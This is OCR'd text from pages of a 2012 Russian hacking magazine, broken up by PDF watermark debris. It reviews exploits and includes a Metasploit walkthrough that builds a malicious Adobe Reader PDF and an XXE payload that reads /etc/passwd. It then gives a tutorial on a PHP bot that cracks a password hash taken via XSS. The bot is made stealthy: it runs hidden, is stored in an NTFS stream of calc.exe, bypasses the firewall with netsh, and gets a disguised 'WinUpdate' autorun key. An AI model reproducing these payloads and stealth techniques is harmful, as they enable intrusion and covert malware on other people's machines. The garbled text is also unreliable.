Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
8.76 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

.text:02FA1DD4 dd offset a_wsf ; ".wsf"

.text:02FA1DD8 dd offset a_wmz ; ".wmz"

Простопрокручиваемвциклеэтутаблицуисмотрим,имеетли встроенныйфайлтакоежерасширение,какиэлементтаблицы.Для этогоиспользуетсяфункцияIsProgIDInList:

.text:02FA72F4 push 11h ; int

.text:02FA72F6 push offset execExtTable ; dangerousTable

.text:02FA72FB push esi ; pExtName

.text:02FA72FC push 0 ; int

.text:02FA72FE call ?IsProgIDInList@@YGHPBG0PBQBGI@Z

;IsProgIDInList(ushort const *,ushort const *,

;ushort const * const *,uint)

Нюанссостоитвтом,чтовтаблицеприведеналишьчасть существующихрасширенийдляисполняемыхфайлов.Вкачестве примераможновзятьpyилиpl.MS12-005обходитэтупроблемуспо- мощьюфункцииAssocIsDangerous(),котораяпроверяетрасширения исполняемыхфайлов:

.text:02FA6A11 push eax

.text:02FA6A12 call ds:__imp__AssocIsDangerous@4

; AssocIsDangerous(x)

.text:02FA6A18 test eax, eax

.text:02FA6A1A jnz short loc_2FA6A42

2. Выводпредупрежденийсистемыбезопасностипользователю.

Пропатченныйpackager.dllвыдаетпредупреждения,толькоесли файлявляетсяисполняемым.НорассмотримфункциюCPackage___

GiveWarningMsg(HWNDhWnd).Онавновьпроходитпотаблице execExtTable,и,еслирасширениевстроенногофайланесодержится вexecExtTable,никакихпредупрежденийневыдается.

TARGETS

WindowsXP,WindowsVista,WindowsServer2008SP2,Windows7.

SOLUTION

Существуетобновление,устраняющееэтууязвимость.

УязвимостьвAdobeReaderприобработке

3U3D-данных

CVSSV2

10.0

(AV:N/AC:L/Au:N/C:C/I:C/A:C)

BRIEF

УязвимостьвызванаошибкойприобработкеU3D-данных.Такая ошибкаможетпривестиксбою.Приуспешнойэксплуатацииэта уязвимостьпозволяетзлоумышленникамустановитьполный контрольнадсистемой.ДляобходаDEPиспользуетсяROP-цепочка, основаннаянабиблиотекеicucnv36.dll.ДляобходаASLRвыполняет- сяJavaScript-код,реализующийтехникуheapspraying.

КраткоопишемU3D-компоненты,чтобылучшепонимать,какиеиз нихиспользуетсплоит:

U3D—натекущиймоментединственныйподдерживаемыйпод- типи3D-объект.

3DD(необходим)—определяетпотокилисловарьс3D-данными, подлежащимирендерингу.

3DA(необязателен)—словарьактивации,определяющийвремя, когдаследуетпоказывать3D-данные.

3DI(необязателен)—переменнаялогическоготипа,определяю- щаяосновнойрежимиспользования.Значениеtrueсоответствует интерактивномурежиму,false—взаимодействиючерезJavaScript.

DIS(необязателен)—имя,определяющеесостояние3D-данных придеактивации.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Обзор эксплоитовw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вредоносноесодержимое3D-объектавтелеpdf-файла

A—имя,подкоторымдолжнабытьактивированааннотация.

PO—аннотациядолжнаактивироваться,кактолькооткрывает- сястраница,содержащаяаннотациюна3D-данные.

EXPLOIT

Последовательностьзапускаобъектов:

Объект4—действиеOpenActionинициируетобращениек JavaScript.

Объект14—JavaScriptссылаетсянаобъект15.

Объект15—JavaScript-кодприменяеттехникуheapspraying, затемпереходитнавторуюстраницу.

Объект11—определение3D-данныхиописаниеихформатирова- ния.

Объект10—3D-данные,которыебудутпоказываться(вероятно, поврежденные).

Объекты,накоторыеследуетобратитьвнимание:

Объект10—ссылаетсянаименованныесловари(/3D,/U3D).

Объект11—ссылаетсянаименованныесловари(/3DI,/3DD,/3D, /3DA).

Объект15—содержитJavaScript-коддляреализацииheap sprayingиперенаправлениянавторуюстраницу(инициирует процессотображения3D-данных).

СплоитреализованвMetasploit(примерсполезнойнагрузкойввиде запускакалькулятора):

msf > use exploit/windows/fileformat/adobe_reader_u3d

msf exploit(adobe_reader_u3d) > set payload windows/exec

payload => windows/exec

msf exploit(adobe_reader_u3d) > set cmd calc.exe

cmd => calc.exe

msf exploit(adobe_reader_u3d) > show options

Module options (exploit/windows/fileformat/adobe_reader_u3d):

Name

Current Setting Required Description

------------------- -------- -----------

FILENAME

msf.pdf

yes

The file name

OBFUSCATE

false

no

Enable JS obfuscation

 

 

Payload options (windows/exec):

 

Name

Current Setting

Required

Description

------------------- -------- -----------

CMD

calc.exe

yes

The command string to

 

 

 

execute

EXITFUNC

process

yes

Exit technique:

 

 

 

seh,thread,process,none

ХАКЕР 03 /158/ 2012

059

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

Exploit target:

Id Name

------

0 Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3

msf exploit(adobe_reader_u3d) > exploit

[*]Creating 'msf.pdf' file...

[+]msf.pdf stored at /home/pikofarad/.msf4/local/msf.pdf

TARGETS

AdobeReader9.4.0/9.4.5/9.4.6подWindowsXPSP3.

SOLUTION

Существуетобновление,устраняющееэтууязвимость.

4LFIвphpMyAdminчерезXXE-инъекцию

CVSSV2

5.0

(AV:N/AC:L/Au:N/C:P/I:N/A:N)

BRIEF

ВначалегодаисследовательMarcoBatistaопубликовалвесьма интереснуюуязвимостьтипаLocalFileIncluding.Эксплуатируется онанетривиально,черезXXE-инъекцию(XXE—XMLeXternalEntity), котораяпредставляетсобойразновидностьXML-инъекции.

Напомню,чтоприпомощиXML-инъекции(например,GET- запросаквеб-серверу)можноизменитьсодержимоеXML- документа.Обычноинтереспредставляютфайлыбазыданных xmlDB,гдесодержитсяинформацияопользователях:

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

<user>

<username>gandalf</username>

<password>!c3</password>

<userid>0</userid>

<mail>gandalf@middleearth.com</mail>

</user>

<user>

<username>Stefan0</username>

<password>w1s3c</password>

<userid>500</userid>

<mail>Stefan0@whysec.hmm</mail>

</user>

<user>

<username>tony</username>

<password>Un6R34kb!e</password>

<userid>500</userid>

<mail>s4tan@hell.com</mail>

</user>

</users>

СмышленыйчитательбезтрудапроведетаналогиюсSQLинъекциями,аятемвременемперейдунепосредственнокинъекциямподтипаXXE.ВдокументахXMLсуществуюттакназываемые примитивы(entities),которыеобъявляютсявначаледокументавобластиDTD.Существуетнескольковидовпримитивов,носейчаснас интересуюттольковнешние(externalentities).Есливопределении примитиваприсутствуетURI,тоонназываетсявнешним.Соответственно,парсердолженполучитьдоступкэтомуURIивключитьего содержимоевдокумент,еслиэтобылозадано,например,так:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE foo

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

[

<!ELEMENT foo ANY >

<!ENTITY bar SYSTEM "file:///etc/passwd" >

]

>

<foo>&bar;</foo>

Здесьопределяетсяпримитивbar,которыйссылаетсянафайл/etc/ passwd,иприобработкедокументаегосодержимоевключается

внего.Кстатиговоря,вXML-документможнонетольковключать локальныеиудаленныефайлы.

Внемможнозапускатьисполняемыефайлы,еслипарсеруразрешеноэтоделать.Постандартуэтовыглядитпримернотак:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE foo

[

<!ELEMENT foo ANY>

<!NOTATION GIF SYSTEM

"http://my-cool-site.com/ShowGif.exe">

<!ENTITY bar SYSTEM "http://not-my-cool-site.com/bar.gif"

NDATA GIF>

]

>

<foo>&bar;</foo>

ВэтомдокументеспомощьюпрограммыShowGif.exeобрабатываетсярисунокbar.gif.Внекоторыхслучаяхмыможемвнедритьпо- добнуюконструкциючерезXML-инъекциюивыполнитьтребуемый код.БолееподробнаяинфаобXML-инъекцияхестьнасайтеOWASP (goo.gl/B8G9C).

EXPLOIT

ВphpMyAdminимеетсяфункцияимпортабазыданныхиззаданного пользователемXML-файла.Уязвимостьзаключаетсявтом,чтопо- слезагрузкиспециальносформированногоXML-документаатаку- ющийполучаетвозможность(ограниченнуюправамивеб-сервера) прочитатьпроизвольныйфайлвсистемеилилокальнойсети.

Уязвимостьнаходитсявфайлеlibraries\import\xml.php,где функцияsimplexml_load_string()вызываетсябезпроверкинасуществованиессылкинавнешнийпримитив:

$xml = simplexml_load_string($buffer,

"SimpleXMLElement", LIBXML_COMPACT);

ПатченныеверсииphpMyAdminдляпредотвращенияинъекции используютфункциюlibxml_disable_entity_loader(),преждечемза- гружатьXML-документ.

КомпанияSECFORCEразработаламодулькMetasploitдляэксплуатацииэтойуязвимости.ОнавтоматизируетпроцессLFIследующимобразом:

1.ЛогинитсявphpMyAdminспомощьюпредоставленныхреквизитов.

2.СоздаетXML-документ,применяяXXE-инъекциидлязаданного файла.

3.ЗагружаетфайлсXML-документом.

4.Получаетуказанныйфайлссервера.

Возможныеопцииэксплоитаипримеруспешнойэксплуатациипоказанынаскриншоте.

TARGETS

PhpMyAdmin3.4.xвплотьдо3.4.7.1и3.3.xвплотьдо3.3.10.5.

SOLUTION

ОбновитьсяминимумдоверсииphpMyAdmin3.4.7.1(3.3.10.5)или установитьсоответствующийпатч. z

060

ХАКЕР 03 /158/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Реклама

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

|qbz|(http://essenzo.net)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

PHP-бот

дляWindows

КОДИМБОТАДЛЯРАСПРЕДЕЛЕННЫХ ВЫЧИСЛЕНИЙ

Существуетогромноеколичество языков программирования. Кто-то выбрал для себя C, ктото — ASM, а кто-то — Python. Я, например, отдал предпочтение не самому экзотическому языку — PHP. А всё потому,

что мне чаще приходится работать с вебом, чем с десктопом. Но бывают и такие

моменты, когда тебе нужен специализированный софт, а его просто-напросто нет.

WWW

bit.ly/WdbrO— словаридлябрута отАнтичата; 3.14.by/ru/md5— одинизконсольных брутеров; www.f2ko.de— конвертербатников.

DVD

Нанашемдиске тысможешьнайти всенеобходимые файлыиисходники, описанныевстатье.

DO U SPEAK ENGLISH? NO, PHP

Однажды, во время очередных ковыряний очередной XSS, ко мне

влоги попал хеш пароля администратора нужного мне ресурса. Конечно же, его необходимо было расшифровать, и я сразу обратился к различным онлайн-сервисам, помогающим с расшифровкой.

Ни один из них мне не помог.

Сэтой душевной печалью я отправился на хак-форумы, где

вспециальных разделах оставил просьбу о помощи в расшифровке. Но и там меня ожидал фейл. Однако сайтик был весь из себя расчудесный, и бросать его админку мне совсем не хотелось. Заварив очередную кружку кофе, я начал думать, как поступить. Брутить на своей машине не получилось бы — процессор слабоват. Значит, нужно было где-то взять компьютер с хорошими характеристиками, и желательно не один. Покупать себе домой 20 новых мощных серваков ради расшифровки одного хеша как-то не входило в мои планы. Поэтому я купил несколько выделенных серверов для распределения вычислений у одного хостера. Осталось всего ничего — настроить расшифровку. И вот тут я решил углубиться

062

ХАКЕР 03 /158/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

PHP-бот для Windowsw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Компилимбот

в процесс. А почему бы не написать бота, принимающего команду на расшифровку хеша с общего сервера? Можно было и написать, только вот проблема заключалась в том, что я знал только скриптовые языки, а с десктопом никогда не имел дела. И тут в моей памяти всплыла такая вещь, как всевозможные php2exe-компиляторы.

ОБЩАЯ СХЕМА

Бота я решил заставить действовать по вполне определенному плану. Итак, существует сервер, на который добавляются «задания». Боты отстукивают на него каждые пять минут, проверяя, не появилось ли для них новое задание.

И если появилось, посылают серверу сигнал о том, что брут начался. Сервер, в свою очередь, добавляет в базу запись о том, кто работает, а кто — нет. После завершения брута бот отправляет серверу запрос с уведомлением, что работа окончена. Этот запрос также может содержать расшифровку. При этом нужно сделать так, чтобы боты использовали разные словари для брутфорса, так как брутить один и тот же словарь много раз просто не имеет смысла. Также следует учесть, что хешей может быть много, поэтому мы

не станем гонять весь словарь через брутфорс для каждого из них. В процессе брута мы будем сразу же сверять результаты со всеми хешами, которые нужно расшифровать. Вообще, скрипт будет иметь всего несколько функций и выступит, так сказать, в качестве обертки (шедулера), «дергающей» уже сам брутфорсер. Именно поэтому нам нужно выбрать такой брутфорсер, который работает через консоль, так как далее мы переведем скрипт в exe, который тоже работает в консольной среде. Я использовал наработку моего знакомого — она имеет такой синтаксис:

md5.ехе {файл хешей} {файл словаря} {где сохранять}

Здесь первый параметр — это название файла с хешами для брутфорса (один хеш = одна строка), второй параметр — название файла со словарем, а последний параметр — название файла, в который брутер будет записывать результаты. Задачи сервера — правильно установить бота, периодически чистить рабочую папку, а также подавать сигналы о том, что пора бы уже начать

брут по таким-то хешам. Для начала напишем функцию обращения к серверу для получения текущего задания:

function mySettings()

{

$settings = file_get_contents(

'http://adres.com/?do=mysettings');

if ($settings != '')

{

list($status, $statusdata) =

explode('|', $settings, 2);

$config = array('status' => $status,

'data' => $statusdata);

return $config;

}

else

return false;

}

Эта функция обращается к нашему гейту, ловит ответ, и, если он не пустой, делит его на две части там, где есть символ |. Первая часть представляет собой команду для бота, а вторая — дополнительные данные для этой команды. Теперь напишем функцию брутфорса на основе заданных в виде аргумента хешей (массив):

function bruteHashes($hashes)

{

// Сохраняем хеши для брутера

file_put_contents('./brute.txt', implode("\r\n", $hashes));

//Говорим серверу, что мы уже работаем

file_get_contents( 'http://adres.master.servera.com/?do=iamworking');

//Брутим

passthru('md5.exe brute.txt vocabulary.txt results.txt');

// Сохраняем результат на сервере по ФТП

$uploader = ftp_connect('ftp://adres.master.servera.com');

ftp_login($uploader, 'login', 'password');

ftp_put($uploader, './results/'.time().'.txt',

ХАКЕР 03 /158/ 2012

063

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

'./results.txt', FTP_ASCII);

ftp_close($uploader);

// Говорим серверу, что мы закончили

file_get_contents( 'http://adres.master.servera.com/?do=iamfinished');

}

Итак, функция берет в качестве аргумента массив с хешами и сохраняет его в удобоваримом для брутера формате, то есть

ввиде текстового файла, в каждой строке которого находится один хеш. Затем бот стучит на сервер с сигналом о том, что начал работать. Это нужно для того, чтобы сервер не записывал бота

в«мертвые» машины, если он не будет отстукивать каждые пять минут (тайм-аут по умолчанию), и помнил, что бот функционирует. Далее заводим самого бота, указав ему созданный файл хешей, установленный словарь и файл для сохранения результатов. Создаем также функцию «установки» бота. Установка представляет собой скачивание и последующее сохранение словаря, по которому нужно брутить:

function installVocab()

{

$vocabulary = file_get_contents(

'http://adres.com/unique_vocabulary.php');

file_put_contents('./vocabulary.txt', $vocabulary);

}

Серверный скрипт, к которому обращается бот, должен возвращать исключительно уникальные словари, чтобы у каждой машины был свой «словарный запас». Также стоит оставить возможность менять словарь с помощью команды, отправляемой через мастер-сервер. Теперь же нам необходимо накодить самую главную функцию — функцию шедулера, выполняющую также команды мастер-сервера. Объем статьи не позволяет привести здесь код этой функции полностью, поэтому укажу лишь ее кейсы (полный код ищи на нашем диске):

brute—брут;

clean—очисткаданных,полученныхврезультатепредыдущих брутфорсов;

install—установка;

exit—выход.

По дефолту шедулер находится в режиме ожидания команд. В качестве тайм-аута мы указали 300 секунд. Это временной интервал обращения ботов к нашему серверу. Далее идет запуск команд с учетом данных, переданных сервером боту, причем после выполнения команды мы делаем паузу (в некоторых случаях)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Компилимбатникдляскрытногозапускабрутера

и снова запускаем шедулер. Нужно учесть, что файл словаря необходим уже при первом обращении к серверу, поэтому сделаем предохранитель, который подготавливает словарь и запускает шедулер:

if (!file_exists('./vocabulary.txt'))

{

installVocab();

}

startScheduler();

КОМПИЛИМ

Теперь, когда мы объединили всё это в один файл, перед нами встает задача создать из него полноценный exe. В этом нам поможет небольшая тулза с длинным названием Bambalam PHP EXE Compiler/Embedder.

Она представляет собой билдер, который создает exe из PHPфайла. Билдер за всё время его использования ни разу не подводил, работал отлично, без всяких багов (респект авторам!). Этот билдер позволяет компилить экзешники как для PHP 4.0, так и для более новых версий интерпретатора. В простейшем случае компиляция в Bambalam выглядит вот так:

bamcompile [-options] infile.php [outfile.exe]

ОБЗОРКОМПИЛЯТОРОВИНТЕПРЕТИРУЕМЫХЯЗЫКОВПРОГРАММИРОВАНИЯ

1

PHP DevelStudio

2

Php2exe

3

BambalamEmbedder

4

py2exe

5

Perl2Exe

 

bit.ly/amiS4r

 

bit.ly/ylV4vR

 

bit.ly/wpSniZ.

 

bit.ly/3KkIKw

 

bit.ly/y29qTB

 

 

 

 

 

Однозначный лидер

Преобразует исходный

Более мощный инструмент,

Позволяет компилировать

Отличный инструмент для

по конвертированию PHP-

код на PHP в исполняемый

не имеющий GUI-

скрипты, написанные

перевода перловки в exe.

скриптов в полноценные

файл. Чтобы созданное

интерфейсаи позволяющий

на Питоне, в экзешники.

Создает независимый

программы. Тут

приложение могло

паковать прямо в консоли.

Помимо исполняемого

исполняемый файл,

и визуальная среда

запуститься, в той же

Также компилирует целые

файла, создает несколько

который работает в любых

программирования,

директории должна

проекты с использованием

библиотек, помогающих

системах и не требует

и отладка кода,

иметься библиотека

различных библиотек,

готовой программе

интерпретатора.

и подключение различных

php5ts.dll.

например cURL.

запуститься.

 

 

модулей и многое другое.

 

 

 

 

 

 

 

 

064

ХАКЕР 03 /158/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

PHP-бот для

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Windowsw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

СервиснабазераспределенныхвычисленийдлярасшифровкиMD5-хешей

Итак, бот готов. Теперь займемся сервером. Во-первых, нужно зафиксировать в базе те боты, которые успешно отстучали нам хотя бы один раз, то есть, так сказать, установленные боты. Для этого выполняется проверка IP-адресов в базе (можно присвоить специальный идентификатор каждой машине, который она будет передавать каждый раз, чтобы различить между собой хосты, находящиеся за NAT), после чего в базу добавляются те адреса, которые не были в ней найдены. Их можно выводить в панели управления ботами. Но на тот случай, если бот уже брутит и не может отстучать, что он живой, можно также сделать в таблице столбец lastcallback. Там отображается число, которое указывает, когда бот отстучал в последний раз. Таким образом, при каждом обращении к серверу это значение обновляется.

Если оно больше 300 (дефолтный пятиминутный интервал отстукивания бота), то это значит, что бот работает или находится в офлайне. Затем нужно создать генератор конфигов. Конфиг, как ты, возможно, заметил по вышеприведенным кускам кода, состоит из двух частей, объединенных знаком |.

Первая часть отвечает за команду, которую получает бота, а вторая — за дополнительные данные, нужные для исполнения этой команды. Чтобы дать команду на установку, мы должны отправить что-то вроде install|vocab_123123123.txt, где install — это команда установки бота, а vocab_123123123.txt — это файл

словаря, который надо установить. Мы также можем очистить все рабочие файлы, просто удалив их, — для этого достаточно послать команду clean. Ну и самая главная команда — это brute.

Второй параметр этой команды объединяет хеши для брута с помощью двоеточия:

brute|c4ca4238a0b923820dcc509a6f75849b:

c81e728d9d4c2f636f067f89cc14862c:eccbc87e4b5ce2fe28308f

d9f2a7baf3

Все результаты заливаются на FTP-сервер, который находится там же, где и центр управления. Попадает всё это дело в папку results.

Для того чтобы добавить в базу готовые результаты, бот «дергает» скрипт с передачей параметра iamfinished. Скрипт сервера

Рабочийбот

проходит по всем файлам в папке results, поочередно открывает их и добавляет в базу.

ХАКЕРСКИЕ ФИЧИ

Теперь перейдем к оптимизации нашего самопального комплекса. Во-первых, брутер, бот и библиотеку можно запаковать в один экзешник, причем так, что процесс функционирования бота станет невидимым, то есть консоли не будет видно.

Для этого можно прибегнуть к подручным средствам, а именно составить батник следующего содержания: %CD%\bot.exe. Далее нужно скачать софтинку BAT To EXE Converter 1.5 и скомпилировать в ней этот батник, предварительно указав в настройках invisible application и выбрав на вкладке include три файла: bot.ехе, библиотеку (php5ts.dll) и сам консольный брутер (md5.exe).

Программка создаст один файл, работающий в фоновом режиме. Затем можно сделать так, чтобы скрывались и сами файлы. Для этого есть несколько способов. Один из них — это, например, простое использование штатной виндовой софтины attrib с флагами '+h' и '+s'. Пример:

attrib "%CD%\bot.exe" +h +s

Такая команда скроет и сделает системным наш файл бота. Спрятать файл в потоках NTFS немного сложнее:

cd “%systemroot%\system32

type packed_bot.exe>calc.exe:b0t.exe

Запуск при этом осуществляется тоже с помощью батника:

cd "%systemroot%\system32

start .\calc.exe:b0t.exe

Наш файл в том числе загружает результаты на FTP. Файервол Windows может на это ругаться, поэтому попробуем его обойти:

passthru('netsh firewall add allowedprogram %WINDIR%\

system32\ftp.exe TCPInfrastructure>nul 2>&1 ');

Авторан для нашего exe (если он лежит, например, в %systemroot%):

passthru('reg add HKLM\software\microsoft\windows\

currentversion\run /v WinUpdate /t REG_SZ /d

%WINDIR%\packed_bot.exe /f>nul 2>&1');

ЗАКЛЮЧЕНИЕ

В PHP предостаточно функций, предназначенных для создания нехилого файлового менеджера или же простого системного помощника.

Янадеюсь, что благодаря моей статье ты убедился не только

вэтом, но также и в том, что для автоматизации процесса существует множество различных средств, которые при совместном использовании могут сильно тебе помочь. z

ХАКЕР 03 /158/ 2012

065

 

 

 

 

